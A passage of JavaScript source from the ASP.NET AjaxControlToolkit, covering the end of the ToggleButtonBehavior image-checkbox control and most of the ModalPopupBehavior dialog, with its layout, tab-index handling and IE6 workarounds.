    this._decoyElementClickHandler = null;
    this._checkChangedHandler = null;
    this._divContent = null;
    this._clickHandler = null;
    this._decoyElementMouseOverHandler = null;
    this._decoyElementMouseOutHandler = null;
}
AjaxControlToolkit.ToggleButtonBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.ToggleButtonBehavior.callBaseMethod(this, 'initialize');

        var e = this.get_element();

        // Create a decoy element to overlay the checkbox graphic and click it when clicked
        this._divContent = document.createElement('div');
        this._divContent.style.position = 'relative';
        this._decoyElement = document.createElement('a');
        e.parentNode.insertBefore(this._divContent, e);
        this._decoyElement.id = e.id + this._idDecoration;
        this._decoyElement.href = '';
        this._divContent.appendChild(this._decoyElement);

        // Set the style of the checkbox to size it and hide it
        e.style.visibility = 'hidden';
        // Set the style of the decoy element to position absolutely over the checkbox graphic
        var decoyElementStyle = this._decoyElement.style;
        decoyElementStyle.position = 'absolute';
        // Initialize left and top to 0px for Opera
        decoyElementStyle.left = '0px';
        decoyElementStyle.top = '0px';
        decoyElementStyle.width = this._ImageWidth + 'px';
        decoyElementStyle.height = this._ImageHeight + 'px';

        //Firefox uses fontSize to determine the height of href
        decoyElementStyle.fontSize = this._ImageHeight + 'px';

        // Make the decoy element look right
        decoyElementStyle.backgroundRepeat = 'no-repeat';
        this._onClick();

        // Create delegates
        this._clickHandler = Function.createDelegate(this, this._onClick);
        this._checkChangedHandler = Function.createDelegate(this, this._onClick);
        this._decoyElementClickHandler = Function.createDelegate(this, this._onDecoyElementClick);
        this._decoyElementMouseOverHandler = Function.createDelegate(this, this._onDecoyElementMouseOver);
        this._decoyElementMouseOutHandler = Function.createDelegate(this, this._onDecoyElementMouseOut);
        
        // Attach events
        $addHandler(e, "click", this._clickHandler);
        $addHandler(e, "change", this._checkChangedHandler);        
        $addHandler(this._decoyElement, "click", this._decoyElementClickHandler);
        $addHandler(this._decoyElement, "mouseover", this._decoyElementMouseOverHandler);
        $addHandler(this._decoyElement, "mouseout", this._decoyElementMouseOutHandler);

        // Find any any label elements "for" the checkbox and update them to be "for" the decoy element
        // Only for Internet Explorer
        if (Sys.Browser.agent === Sys.Browser.InternetExplorer) {
            var labels = this._divContent.parentNode.getElementsByTagName('label');
            for (i = 0 ; i < labels.length ; i++) {
                if (e.id == labels[i].htmlFor) {
                    labels[i].htmlFor = e.id + this._idDecoration;
                }
            }
        }
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // Detach events
        if (this._decoyElementClickHandler) {
            $removeHandler(this._decoyElement, "click", this._decoyElementClickHandler);
            this._decoyElementClickHandler = null;
        }
        if(this._checkChangedHandler) {
            $removeHandler(this.get_element(), "change", this._checkChangedHandler);
            this._checkChangedHandler = null;
        }
        if (this._clickHandler) {
            $removeHandler(this.get_element(), "click", this._clickHandler);
            this._clickHandler = null;
        }
        if(this._decoyElementMouseOverHandler) {
            $removeHandler(this._decoyElement, "mouseover", this._decoyElementMouseOverHandler);
            this._decoyElementMouseOverHandler = null;        
        }
        if(this._decoyElementMouseOutHandler) {
            $removeHandler(this._decoyElement, "mouseout", this._decoyElementMouseOutHandler);
            this._decoyElementMouseOutHandler = null;        
        }        

        AjaxControlToolkit.ToggleButtonBehavior.callBaseMethod(this, 'dispose');
    },

    _onClick : function() {
        /// <summary>
        /// Handle the element's click events
        /// </summary>

        if(this.get_element().checked) {
            this._decoyElement.style.backgroundImage = 'url(' + (this.get_element().disabled ? this.get_DisabledCheckedImageUrl() : this._CheckedImageUrl) + ')';
            if (this._CheckedImageAlternateText) {
                this._decoyElement.title = this._CheckedImageAlternateText;
            }
        } else {
            this._decoyElement.style.backgroundImage = 'url(' + (this.get_element().disabled ? this.get_DisabledUncheckedImageUrl() : this._UncheckedImageUrl) + ')';
            if (this._UncheckedImageAlternateText) {
                this._decoyElement.title = this._UncheckedImageAlternateText;
            }
        }
    },

    _onDecoyElementClick : function(e) {
        /// <summary>
        /// Handle the decoy element's click events
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        this.get_element().click();
        e.preventDefault();
        return false;
    },
    
    _onDecoyElementMouseOver : function(e) {
        /// <summary>
        /// Handle the decoy element's mouseover event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        
        var e = this.get_element();
        if(e && !e.disabled) {
            if (e.checked && this._CheckedImageOverUrl) {
                this._decoyElement.style.backgroundImage = 'url(' + this._CheckedImageOverUrl + ')';
                if (this._CheckedImageOverAlternateText) {
                    this._decoyElement.title = this._CheckedImageOverAlternateText;
                }                
            } else if (!e.checked && this._UncheckedImageOverUrl) {
                this._decoyElement.style.backgroundImage = 'url(' + this._UncheckedImageOverUrl + ')';
                if (this._UncheckedImageOverAlternateText) {
                    this._decoyElement.title = this._UncheckedImageOverAlternateText;
                }              
            }
        } 
    },
    
    _onDecoyElementMouseOut : function(e) {
        /// <summary>
        /// Handle the decoy element's mouseout event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        // Call _onClick because it restores the correct image
        this._onClick();
    },        

    get_ImageWidth : function() {
        /// <value type="Number" integer="true">
        /// Width of the image that will be displayed
        /// </value>
        return this._ImageWidth;
    },
    set_ImageWidth : function(value) {
        if (this._ImageWidth != value) {
           this._ImageWidth = value;
           this.raisePropertyChanged('ImageWidth');
        }
    },

    get_ImageHeight : function() {
        /// <value type="Number" integer="true">
        /// Height of the image that will be displayed
        /// </value>
        return this._ImageHeight;
    },
    set_ImageHeight : function(value) {
        if (this._ImageHeight != value) {
            this._ImageHeight = value;
            this.raisePropertyChanged('ImageHeight');
        }
    },

    get_UncheckedImageUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is in the unchecked state
        /// </value>
        return this._UncheckedImageUrl;
    },
    set_UncheckedImageUrl : function(value) {
        if (this._UncheckedImageUrl != value) {
            this._UncheckedImageUrl = value;
            this.raisePropertyChanged('UncheckedImageUrl');
        }
    },

    get_CheckedImageUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is in the checked state
        /// </value>
        return this._CheckedImageUrl;
    },
    set_CheckedImageUrl : function(value) {
        if (this._CheckedImageUrl != value) {
            this._CheckedImageUrl = value;
            this.raisePropertyChanged('CheckedImageUrl');
        }
    },

    get_DisabledUncheckedImageUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is disabled and in the unchecked state
        /// </value>
        return (this._DisabledUncheckedImageUrl != undefined) ?
            this._DisabledUncheckedImageUrl : this._UncheckedImageUrl;
    },
    set_DisabledUncheckedImageUrl : function(value) {
        if (this._DisabledUncheckedImageUrl != value) {
            this._DisabledUncheckedImageUrl = value;
            this.raisePropertyChanged('DisabledUncheckedImageUrl');
        }
    },

    get_DisabledCheckedImageUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is disabled and in the checked state
        /// </value>
        return (this._DisabledUncheckedImageUrl != undefined) ?
            this._DisabledCheckedImageUrl : this._CheckedImageUrl;
    },
    set_DisabledCheckedImageUrl : function(value) {
        if (this._DisabledCheckedImageUrl != value) {
            this._DisabledCheckedImageUrl = value;
            this.raisePropertyChanged('DisabledCheckedImageUrl');
        }
    },
    
    get_CheckedImageOverUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is in the checked state and the cursor is positioned over the element
        /// </value>
        return this._CheckedImageOverUrl;
    },
    set_CheckedImageOverUrl : function(value) {
        if (this._CheckedImageOverUrl != value) {
            this._CheckedImageOverUrl = value;
            this.raisePropertyChanged('CheckedImageOverUrl');
        }
    },  
    
    get_UncheckedImageOverUrl : function() {
        /// <value type="String">
        /// URL of the image to show when the toggle button is in the unchecked state and the cursor is positioned over the element
        /// </value>
        return this._UncheckedImageOverUrl;
    },
    set_UncheckedImageOverUrl : function(value) {
        if (this._UncheckedImageOverUrl != value) {
            this._UncheckedImageOverUrl = value;
            this.raisePropertyChanged('UncheckedImageOverUrl');
        }
    },        

    get_UncheckedImageAlternateText : function() {
        /// <value type="String">
        /// the alt text to show when the toggle button is in the unchecked state
        /// </value>
        return this._UncheckedImageAlternateText;
    },
    set_UncheckedImageAlternateText : function(value) {
        if (this._UncheckedImageAlternateText != value) {
            this._UncheckedImageAlternateText = value;
            this.raisePropertyChanged('UncheckedImageAlternateText');
        }
    },

    get_CheckedImageAlternateText : function() {
        /// <value type="String">
        /// the alt text to show when the toggle button is in the checked state
        /// </value>
        return this._CheckedImageAlternateText;
    },
    set_CheckedImageAlternateText : function(value) {
        if (this._CheckedImageAlternateText != value) {
            this._CheckedImageAlternateText = value;
            this.raisePropertyChanged('CheckedImageAlternateText');
        }
    },
    
    get_CheckedImageOverAlternateText : function() {
        /// <value type="String">
        /// the alt text to show when the toggle button is in the checked state and the element is moused over
        /// </value>
        return this._CheckedImageOverAlternateText;
    },
    set_CheckedImageOverAlternateText : function(value) {
        if (this._CheckedImageOverAlternateText != value) {
            this._CheckedImageOverAlternateText = value;
            this.raisePropertyChanged('CheckedImageOverAlternateText');
        }
    },
    
    get_UncheckedImageOverAlternateText : function() {
        /// <value type="String">
        /// the alt text to show when the toggle button is in the unchecked state and the element is moused over
        /// </value>
        return this._UncheckedImageOverAlternateText;
    },
    set_UncheckedImageOverAlternateText : function(value) {
        if (this._UncheckedImageOverAlternateText != value) {
            this._UncheckedImageOverAlternateText = value;
            this.raisePropertyChanged('UncheckedImageOverAlternateText');
        }
    }        
}
AjaxControlToolkit.ToggleButtonBehavior.registerClass('AjaxControlToolkit.ToggleButtonBehavior', AjaxControlToolkit.BehaviorBase);
�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../DynamicPopulate/DynamicPopulateBehavior.js" />
/// <reference path="../RoundedCorners/RoundedCornersBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../DropShadow/DropShadowBehavior.js" />
/// <reference path="../Compat/DragDrop/DragDropScripts.js" />
/// <reference path="../DragPanel/FloatingBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ModalPopupRepositionMode = function() {
    /// <summary>
    /// The ModalPopupRepositionMode enumeration describes how the modal popup repositions
    /// </summary>
    /// <field name="None" type="Number" integer="true" />
    /// <field name="RepositionOnWindowResize" type="Number" integer="true" />
    /// <field name="RepositionOnWindowScroll" type="Number" integer="true" />
    /// <field name="RepositionOnWindowResizeAndScroll" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.ModalPopupRepositionMode.prototype = {
    None : 0,
    RepositionOnWindowResize : 1,
    RepositionOnWindowScroll : 2,
    RepositionOnWindowResizeAndScroll : 3
}
AjaxControlToolkit.ModalPopupRepositionMode.registerEnum('AjaxControlToolkit.ModalPopupRepositionMode');


AjaxControlToolkit.ModalPopupBehavior = function(element) {
    /// <summary>
    /// The ModalPopupBehavior is used to display the target element as a modal dialog
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.ModalPopupBehavior.initializeBase(this, [element]);
    
    // Properties
    this._PopupControlID = null;
    this._PopupDragHandleControlID = null;
    this._BackgroundCssClass = null;
    this._DropShadow = false;
    this._Drag = false;    
    this._OkControlID = null;
    this._CancelControlID = null;
    this._OnOkScript = null;
    this._OnCancelScript = null;
    this._xCoordinate = -1;
    this._yCoordinate = -1;
    this._repositionMode = AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll;

    // Variables
    this._backgroundElement = null;
    this._foregroundElement = null;
    this._relativeOrAbsoluteParentElement = null;
    this._popupElement = null;
    this._dragHandleElement = null;
    this._showHandler = null;
    this._okHandler = null;
    this._cancelHandler = null;
    this._scrollHandler = null;
    this._resizeHandler = null;
    this._windowHandlersAttached = false;
    this._dropShadowBehavior = null;
    this._dragBehavior = null;
    this._isIE6 = false;

    this._saveTabIndexes = new Array();
    this._saveDesableSelect = new Array();
    this._tagWithTabIndex = new Array('A','AREA','BUTTON','INPUT','OBJECT','SELECT','TEXTAREA','IFRAME');
}
AjaxControlToolkit.ModalPopupBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>

        /*
        <div superpopup - drag container resizable><div -- drag handle\dropshadow foreground></div></div>
        */
        AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(this, 'initialize');
        this._isIE6 = (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version < 7);
        if (this._PopupDragHandleControlID)
            this._dragHandleElement = $get(this._PopupDragHandleControlID);

        this._popupElement = $get(this._PopupControlID);
        if (this._DropShadow) {
            this._foregroundElement = document.createElement('div');
            this._foregroundElement.id = this.get_id() + '_foregroundElement';
            this._popupElement.parentNode.appendChild(this._foregroundElement);
            this._foregroundElement.appendChild(this._popupElement);
        }
        else {
            this._foregroundElement = this._popupElement;
        }
        this._backgroundElement = document.createElement('div');
        this._backgroundElement.id = this.get_id() + '_backgroundElement';
        this._backgroundElement.style.display = 'none';
        // position:fixed; does not work in IE in quirks mode, so need to set to absolute
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer && document.compatMode != "CSS1Compat")
            this._backgroundElement.style.position = 'absolute';
        else
            this._backgroundElement.style.position = 'fixed';
        this._backgroundElement.style.left = '0px';
        this._backgroundElement.style.top = '0px';
        // Want zIndex to big enough that the background sits above everything else
        // CSS 2.1 defines no bounds for the <integer> type, so pick arbitrarily
        this._backgroundElement.style.zIndex = 10000;
        if (this._BackgroundCssClass) {
            this._backgroundElement.className = this._BackgroundCssClass;
        }

        $common.appendElementToFormOrBody(this._foregroundElement);
        $common.appendElementToFormOrBody(this._backgroundElement);

        this._foregroundElement.style.display = 'none';
        this._foregroundElement.style.position = 'fixed';
        this._foregroundElement.style.zIndex = $common.getCurrentStyle(this._backgroundElement, 'zIndex', this._backgroundElement.style.zIndex) + 1;

        this._showHandler = Function.createDelegate(this, this._onShow);
        $addHandler(this.get_element(), 'click', this._showHandler);

        if (this._OkControlID) {
            this._okHandler = Function.createDelegate(this, this._onOk);
            $addHandler($get(this._OkControlID), 'click', this._okHandler);
        }

        if (this._CancelControlID) {
            this._cancelHandler = Function.createDelegate(this, this._onCancel);
            $addHandler($get(this._CancelControlID), 'click', this._cancelHandler);
        }

        this._scrollHandler = Function.createDelegate(this, this._onLayout);
        this._resizeHandler = Function.createDelegate(this, this._onLayout);

        // Need to know when partial updates complete
        this.registerPartialUpdateEvents();
    },

    dispose: function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // Going away; restore any changes to the page
        this._hideImplementation();

        if (this._foregroundElement && this._foregroundElement.parentNode) {
            // Remove background we added to the DOM
            this._backgroundElement.parentNode.removeChild(this._backgroundElement);

            if (this._DropShadow) {
                // Remove DIV wrapper added in initialize
                this._foregroundElement.parentNode.appendChild(this._popupElement);
                this._foregroundElement.parentNode.removeChild(this._foregroundElement);
            }
        }

        this._scrollHandler = null;
        this._resizeHandler = null;
        if (this._cancelHandler && $get(this._CancelControlID)) {
            $removeHandler($get(this._CancelControlID), 'click', this._cancelHandler);
            this._cancelHandler = null;
        }
        if (this._okHandler && $get(this._OkControlID)) {
            $removeHandler($get(this._OkControlID), 'click', this._okHandler);
            this._okHandler = null;
        }
        if (this._showHandler) {
            $removeHandler(this.get_element(), 'click', this._showHandler);
            this._showHandler = null;
        }

        AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(this, 'dispose');
    },

    _attachPopup: function() {
        /// <summary>
        /// Attach the event handlers for the popup
        /// </summary>

        if (this._DropShadow && !this._dropShadowBehavior) {
            this._dropShadowBehavior = $create(AjaxControlToolkit.DropShadowBehavior, {}, null, null, this._popupElement);
        }
        if (this._dragHandleElement && !this._dragBehavior) {
            this._dragBehavior = $create(AjaxControlToolkit.FloatingBehavior, { "handle": this._dragHandleElement }, null, null, this._foregroundElement);
        }

        $addHandler(window, 'resize', this._resizeHandler);
        $addHandler(window, 'scroll', this._scrollHandler);
        this._windowHandlersAttached = true;
    },

    _detachPopup: function() {
        /// <summary>
        /// Detach the event handlers for the popup
        /// </summary>

        if (this._windowHandlersAttached) {
            if (this._scrollHandler) {
                $removeHandler(window, 'scroll', this._scrollHandler);
            }
            if (this._resizeHandler) {
                $removeHandler(window, 'resize', this._resizeHandler);
            }
            this._windowHandlersAttached = false;
        }

        if (this._dragBehavior) {
            this._dragBehavior.dispose();
            this._dragBehavior = null;
        }

        if (this._dropShadowBehavior) {
            this._dropShadowBehavior.dispose();
            this._dropShadowBehavior = null;
        }
    },

    _onShow: function(e) {
        /// <summary>
        /// Handler for the target's click event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        if (!this.get_element().disabled) {
            this.show();
            e.preventDefault();
            return false;
        }
    },

    _onOk: function(e) {
        /// <summary>
        /// Handler for the modal dialog's OK button click
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var element = $get(this._OkControlID);
        if (element && !element.disabled) {
            if (this.hide() && this._OnOkScript) {
                window.setTimeout(this._OnOkScript, 0);
            }
            e.preventDefault();
            return false;
        }
    },

    _onCancel: function(e) {
        /// <summary>
        /// Handler for the modal dialog's Cancel button click
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var element = $get(this._CancelControlID);
        if (element && !element.disabled) {
            if (this.hide() && this._OnCancelScript) {
                window.setTimeout(this._OnCancelScript, 0);
            }
            e.preventDefault();
            return false;
        }
    },

    _onLayout: function(e) {
        /// <summary>
        /// Handler for scrolling and resizing events that would require a repositioning of the modal dialog
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        var positioning = this.get_repositionMode();
        if (((positioning === AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowScroll) ||
            (positioning === AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll)) && (e.type === 'scroll')) {
            this._layout();
        } else if (((positioning === AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResize) ||
            (positioning === AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll)) && (e.type === 'resize')) {
            this._layout();
        } else {
            // Layout background element again to make sure it covers the whole background.
            // This needs to be called separately since _layout will not be always called
            // to reposition the popup depending on the RepositionMode but the background needs 
            // to handle the resize/scroll every time.
            this._layoutBackgroundElement();
        }
    },

    show: function() {
        /// <summary>
        /// Display the element referenced by PopupControlID as a modal dialog
        /// </summary>

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseShowing(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        this.populate();
        this._attachPopup();

        this._backgroundElement.style.display = '';
        this._foregroundElement.style.display = '';
        this._popupElement.style.display = '';
        if (this._isIE6) {
            this._foregroundElement.style.position = 'absolute';
            this._backgroundElement.style.position = 'absolute';
            // find the relative or absolute parent
            var tempRelativeOrAbsoluteParent = this._foregroundElement.parentNode;
            while (tempRelativeOrAbsoluteParent && (tempRelativeOrAbsoluteParent != document.documentElement)) {
                if ((tempRelativeOrAbsoluteParent.style.position != 'relative') && (tempRelativeOrAbsoluteParent.style.position != 'absolute')) {
                    tempRelativeOrAbsoluteParent = tempRelativeOrAbsoluteParent.parentNode;
                } else {
                    this._relativeOrAbsoluteParentElement = tempRelativeOrAbsoluteParent;
                    break;
                }
            }
        }


        // Disable TAB
        this.disableTab();

        this._layout();
        // On pages that don't need scrollbars, Firefox and Safari act like
        // one or both are present the first time the layout code runs which
        // obviously leads to display issues - run the layout code a second
        // time to work around this problem
        this._layout();

        this.raiseShown(Sys.EventArgs.Empty);
    },

    disableTab: function() {
        /// <summary>
        /// Change the tab indices so we only tab through the modal popup
        /// (and hide SELECT tags in IE6)
        /// </summary>

        var i = 0;
        var tagElements;
        var tagElementsInPopUp = new Array();
        Array.clear(this._saveTabIndexes);

        //Save all popup's tag in tagElementsInPopUp
        for (var j = 0; j < this._tagWithTabIndex.length; j++) {
            tagElements = this._foregroundElement.getElementsByTagName(this._tagWithTabIndex[j]);
            for (var k = 0; k < tagElements.length; k++) {
                tagElementsInPopUp[i] = tagElements[k];
                i++;
            }
        }

        i = 0;
        for (var j = 0; j < this._tagWithTabIndex.length; j++) {
            tagElements = document.getElementsByTagName(this._tagWithTabIndex[j]);
            for (var k = 0; k < tagElements.length; k++) {
                if (Array.indexOf(tagElementsInPopUp, tagElements[k]) == -1) {
                    this._saveTabIndexes[i] = { tag: tagElements[k], index: tagElements[k].tabIndex };
                    tagElements[k].tabIndex = "-1";
                    i++;
                }
            }
        }

        //IE6 Bug with SELECT element always showing up on top
        i = 0;
        if ((Sys.Browser.agent === Sys.Browser.InternetExplorer) && (Sys.Browser.version < 7)) {
            //Save SELECT in PopUp
            var tagSelectInPopUp = new Array();
            for (var j = 0; j < this._tagWithTabIndex.length; j++) {
                tagElements = this._foregroundElement.getElementsByTagName('SELECT');
                for (var k = 0; k < tagElements.length; k++) {
                    tagSelectInPopUp[i] = tagElements[k];
                    i++;
                }
            }

            i = 0;
            Array.clear(this._saveDesableSelect);
            tagElements = document.getElementsByTagName('SELECT');
            for (var k = 0; k < tagElements.length; k++) {
                if (Array.indexOf(tagSelectInPopUp, tagElements[k]) == -1) {
                    this._saveDesableSelect[i] = { tag: tagElements[k], visib: $common.getCurrentStyle(tagElements[k], 'visibility') };
                    tagElements[k].style.visibility = 'hidden';
                    i++;
                }
            }
        }
    },

    restoreTab: function() {
        /// <summary>
        /// Restore the tab indices so we tab through the page like normal
        /// (and restore SELECT tags in IE6)
        /// </summary>

        for (var i = 0; i < this._saveTabIndexes.length; i++) {
            this._saveTabIndexes[i].tag.tabIndex = this._saveTabIndexes[i].index;
        }
        Array.clear(this._saveTabIndexes);

        //IE6 Bug with SELECT element always showing up on top
        if ((Sys.Browser.agent === Sys.Browser.InternetExplorer) && (Sys.Browser.version < 7)) {
            for (var k = 0; k < this._saveDesableSelect.length; k++) {
                this._saveDesableSelect[k].tag.style.visibility = this._saveDesableSelect[k].visib;
            }
            Array.clear(this._saveDesableSelect);
        }
    },

    hide: function() {
        /// <summary>
        /// Hide the modal dialog
        /// </summary>
        /// <returns type="Boolean" mayBeNull="false">
        /// Whether or not the dialog was hidden
        /// </returns>

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseHiding(eventArgs);
        if (eventArgs.get_cancel()) {
            return false;
        }

        this._hideImplementation();

        this.raiseHidden(Sys.EventArgs.Empty);
        return true;
    },

    _hideImplementation: function() {
        /// <summary>
        /// Internal implementation to hide the modal dialog
        /// </summary>

        this._backgroundElement.style.display = 'none';
        this._foregroundElement.style.display = 'none';

        this.restoreTab();

        this._detachPopup();
    },

    _layout: function() {
        /// <summary>
        /// Position the modal dialog 
        /// </summary>
        var scrollLeft = (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
        var scrollTop = (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);

        var clientBounds = $common.getClientBounds();
        var clientWidth = clientBounds.width;
        var clientHeight = clientBounds.height;

        // Setup the location of the background element
        this._layoutBackgroundElement();

        var xCoord = 0;
        var yCoord = 0;
        if (this._xCoordinate < 0) {
            var foregroundelementwidth = this._foregroundElement.offsetWidth ? this._foregroundElement.offsetWidth : this._foregroundElement.scrollWidth;
            xCoord = ((clientWidth - foregroundelementwidth) / 2);
            // workaround for drag behavior which calls setlocation which in turn
            // changes the position of the panel to be absolute and requiring us
            // to add the scrollLeft so that it is positioned correctly.
            if (this._foregroundElement.style.position == 'absolute') {
                xCoord += scrollLeft;
            }
            this._foregroundElement.style.left = xCoord + 'px';

        } else {
            if (this._isIE6) {
                this._foregroundElement.style.left = (this._xCoordinate + scrollLeft) + 'px';
                xCoord = this._xCoordinate + scrollLeft;
            }
            else {
                this._foregroundElement.style.left = this._xCoordinate + 'px';
                xCoord = this._xCoordinate;
            }
        }
        if (this._yCoordinate < 0) {
            var foregroundelementheight = this._foregroundElement.offsetHeight ? this._foregroundElement.offsetHeight : this._foregroundElement.scrollHeight;
            yCoord = ((clientHeight - foregroundelementheight) / 2);
            // workaround for drag behavior which calls setlocation which in turn
            // changes the position of the panel to be absolute and requiring us
            // to add the scrollLeft so that it is positioned correctly.
            if (this._foregroundElement.style.position == 'absolute') {
                yCoord += scrollTop;
            }
            this._foregroundElement.style.top = yCoord + 'px';

        } else {
            if (this._isIE6) {
                this._foregroundElement.style.top = (this._yCoordinate + scrollTop) + 'px';
                yCoord = this._yCoordinate + scrollTop;
            }
            else {
                this._foregroundElement.style.top = this._yCoordinate + 'px';
                yCoord = this._yCoordinate;
            }
        }

        // make sure get location agrees with the location of the foreground element
        this._layoutForegroundElement(xCoord, yCoord);

        if (this._dropShadowBehavior) {
            this._dropShadowBehavior.setShadow();
            window.setTimeout(Function.createDelegate(this, this._fixupDropShadowBehavior), 0);
        }

        // layout background element again to make sure it covers the whole background 
        // in case things moved around when laying out the foreground element
        this._layoutBackgroundElement();
    },

    _layoutForegroundElement: function(xCoord, yCoord) {
        /// <summary>
        /// Set the correct location of the foreground element to ensure that it is absolutely 
        /// positioned with respect to the browser. This is just a workaround for IE 6 since
        /// elements nested in relative parents cause modal popup positioning issues and 'fixed'
        /// is not supported by IE 6. Hence we manually compute the right location of the popup.
        /// </summary>
        /// <param name="xCoord" type="Number" integer="true" maybenull="false">
        /// <param name="yCoord" type="Number" integer="true" maybenull="false">        
        /// </params>

        if (this._isIE6 && this._relativeOrAbsoluteParentElement) {
            var foregroundLocation = $common.getLocation(this._foregroundElement);
            var relativeParentLocation = $common.getLocation(this._relativeOrAbsoluteParentElement);
            var getLocationXCoord = foregroundLocation.x;
            if (getLocationXCoord != xCoord) {
                // offset it by that amount
                this._foregroundElement.style.left = (xCoord - relativeParentLocation.x) + 'px';
            }

            var getLocationYCoord = foregroundLocation.y;
            if (getLocationYCoord != yCoord) {
                // offset it by that amount
                this._foregroundElement.style.top = (yCoord - relativeParentLocation.y) + 'px';
            }
        }
    },

    _layoutBackgroundElement: function() {
        /// <summary>
        /// Set the correct location of the background element to ensure that it is absolutely 
        /// positioned with respect to the browser.
        /// </summary>

        // Background element needs to cover the visible client area completely hence its
        // top and left coordinates need to be 0, and if relatively positioned its getlocation
        // value needs to be 0.
        if (this._isIE6) {
            var backgroundLocation = $common.getLocation(this._backgroundElement);
            var backgroundXCoord = backgroundLocation.x;
            if (backgroundXCoord != 0) {
                // offset it by that amount. This is assuming only one level of nesting. If
                // multiple parents with absolute/relative positioning are setup this may not 
                // cover the whole background.
                this._backgroundElement.style.left = (-backgroundXCoord) + 'px';
            }

            var backgroundYCoord = backgroundLocation.y;
            if (backgroundYCoord != 0) {
                // offset it by that amount. This is assuming only one level of nesting. If
                // multiple parents with absolute/relative positioning are setup this may not 
                // cover the whole background.
                this._backgroundElement.style.top = (-backgroundYCoord) + 'px';
            }
        }
        var clientBounds = $common.getClientBounds();
        var clientWidth = clientBounds.width;
        var clientHeight = clientBounds.height;
        // In IE quirks mode, document.body.scrollWidth is the one to use,
        // which does not include scroll bars in its value.
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer && document.compatMode != "CSS1Compat") {
            this._backgroundElement.style.width = document.body.scrollWidth + "px";
            this._backgroundElement.style.height = document.body.scrollHeight + "px";
        }
        else {
            this._backgroundElement.style.width = Math.max(Math.max(document.documentElement.scrollWidth, document.body.scrollWidth), clientWidth) + 'px';
            this._backgroundElement.style.height = Math.max(Math.max(document.documentElement.scrollHeight, document.body.scrollHeight), clientHeight) + 'px';
        }
    },

    _fixupDropShadowBehavior: function() {
        /// <summary>
        /// Some browsers don't update the location values immediately, so
        /// the location of the drop shadow would always be a step behind
        /// without this method
        /// </summary>

        if (this._dropShadowBehavior) {
            this._dropShadowBehavior.setShadow();
        }
    },

    _partialUpdateEndRequest: function(sender, endRequestEventArgs) {
        /// <summary>
        /// Show the popup if requested during a partial postback
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="endRequestEventArgs" type="Sys.WebForms.EndRequestEventArgs">
        /// Event arguments
        /// </param>
        /// <returns />
        AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(this, '_partialUpdateEndRequest', [sender, endRequestEventArgs]);

        if (this.get_element()) {
            // Look up result by element's ID
            var action = endRequestEventArgs.get_dataItems()[this.get_element().id];
            if ("show" == action) {
                this.show();
            } else if ("hide" == action) {
                this.hide();
            }
        }

        // Async postback may have added content; re-layout to accomodate it
        this._layout();
    },

    _onPopulated: function(sender, eventArgs) {
        /// <summary>
        /// Re-layout the popup after we've dynamically populated
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="eventArgs" type="Sys.EventArgs">
        /// Event arguments
        /// </param>
        /// <returns />
        AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(this, '_onPopulated', [sender, eventArgs]);

        // Dynamic populate may have added content; re-layout to accomodate it
        this._layout();
    },

    get_PopupControlID: function() {
        /// <value type="String">
        /// The ID of the element to display as a modal popup
        /// </value>
        return this._PopupControlID;
    },
    set_PopupControlID: function(value) {
        if (this._PopupControlID != value) {
            this._PopupControlID = value;
            this.raisePropertyChanged('PopupControlID');
        }
    },

    get_X: function() {
        /// <value type="Number" integer="true">
